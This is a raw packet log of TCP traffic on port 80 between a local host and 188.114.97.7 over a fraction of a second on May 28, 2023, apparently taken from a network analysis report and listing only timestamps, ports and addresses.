May 28, 2023 10:42:52.085727930 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.085772991 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.085825920 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.087060928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.087100983 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.087183952 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.106502056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106580973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106664896 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106710911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106755018 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106761932 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.106822968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106842995 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.106869936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106875896 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.106914997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.106961012 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107007980 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107040882 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.107069016 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.107162952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107198000 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107311010 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107357025 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107377052 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.107403040 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107403040 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.107449055 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107495070 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107541084 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107554913 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.107589006 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.107593060 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.107635975 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108226061 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108300924 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108316898 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.108347893 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108360052 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.108395100 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108442068 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108486891 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108489037 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.108534098 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.108535051 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.108582020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109121084 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109168053 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109205008 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.109213114 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109230042 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.109261990 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109308958 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109354973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109365940 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.109400988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.109407902 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.109448910 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110007048 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110055923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110085964 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.110102892 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110116959 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.110150099 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110196114 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110241890 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110253096 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.110289097 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110297918 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.110333920 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110831976 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110878944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110907078 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.110924006 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.110927105 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.110970974 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111016035 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111063957 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111073971 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.111112118 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111114979 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.111159086 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111773968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111820936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111859083 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.111866951 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111881018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.111913919 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.111958981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112004042 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112014055 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.112051964 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112054110 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.112098932 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112648964 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112698078 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112732887 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.112745047 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112757921 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.112792969 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112838984 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112884045 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112893105 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.112931013 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.112932920 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.112982988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113040924 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.113584995 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113631010 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113678932 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113724947 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113749981 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.113770008 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113771915 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.113817930 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113862038 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113908052 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.113919020 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.113956928 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.114418983 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114465952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114511013 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114556074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114576101 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.114600897 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.114603043 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114650011 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114695072 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114741087 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.114757061 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.114797115 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.115329981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115375996 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115420103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115467072 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115487099 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.115514040 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115525961 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.115560055 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115606070 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115650892 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.115659952 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.115705013 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.116138935 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116187096 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116415977 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116461992 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116496086 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.116508961 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116518974 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.116555929 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116600990 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116686106 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116698980 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.116731882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.116739035 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.116780043 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117316008 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117361069 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117371082 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.117393017 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.117408037 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117429972 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.117455959 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117501020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117546082 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117552996 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.117593050 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.117594004 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.117640018 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118216038 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118261099 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118292093 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.118308067 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118326902 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.118355989 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118402958 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118448973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118454933 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.118475914 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.118494987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118500948 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.118542910 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.118599892 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.119019032 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.119051933 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.119081020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.119123936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.119123936 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.119153976 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.119185925 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.119214058 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.119215965 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.119234085 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.119247913 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.121963024 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123078108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123109102 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123140097 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123169899 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123200893 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123210907 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123233080 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123236895 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123265028 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123285055 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123295069 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123511076 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123543024 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123594999 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123648882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123680115 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123709917 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123732090 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123740911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123763084 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123773098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123804092 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123833895 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.123852968 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.123876095 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.124371052 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124428034 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124450922 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124516964 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.124692917 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124725103 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124754906 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124754906 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.124784946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124814987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124831915 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.124845028 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124857903 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.124876022 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124906063 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.124963999 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.125498056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125529051 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125559092 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125572920 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.125591993 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125618935 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.125622988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125657082 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125685930 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125705004 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.125715971 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.125727892 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.126384020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126414061 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126445055 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126476049 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126487017 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.126507044 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126507998 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.126539946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126569986 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126589060 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.126600981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.126609087 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.127266884 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127298117 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127329111 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127355099 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.127360106 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127376080 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.127392054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127422094 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127450943 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127470016 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.127480984 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.127496004 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.128145933 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.128176928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.128206015 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.128228903 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.128252029 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.128272057 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.128298998 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.128329039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.128355026 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.128377914 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.128396988 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.132783890 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.136038065 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150142908 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150214911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150264978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150304079 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150350094 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150350094 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150398016 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150398016 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150446892 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150491953 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150506020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150546074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150583982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150605917 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150624037 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150634050 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150664091 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150702953 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150742054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150758982 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150780916 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150784969 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150820017 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150857925 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150868893 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.150897026 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150937080 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150975943 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.150989056 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151016951 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151041031 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151057959 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151112080 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151158094 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151165009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151201963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151210070 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151247025 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151293993 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151343107 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151349068 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151390076 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151391983 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151436090 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151480913 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151494026 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151527882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151571989 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151617050 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151633024 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151663065 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151681900 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151707888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151752949 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151757956 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151797056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151842117 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151887894 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151925087 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.151931047 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.151964903 CEST	49722	80	192.168.2.3	188.114.97.7
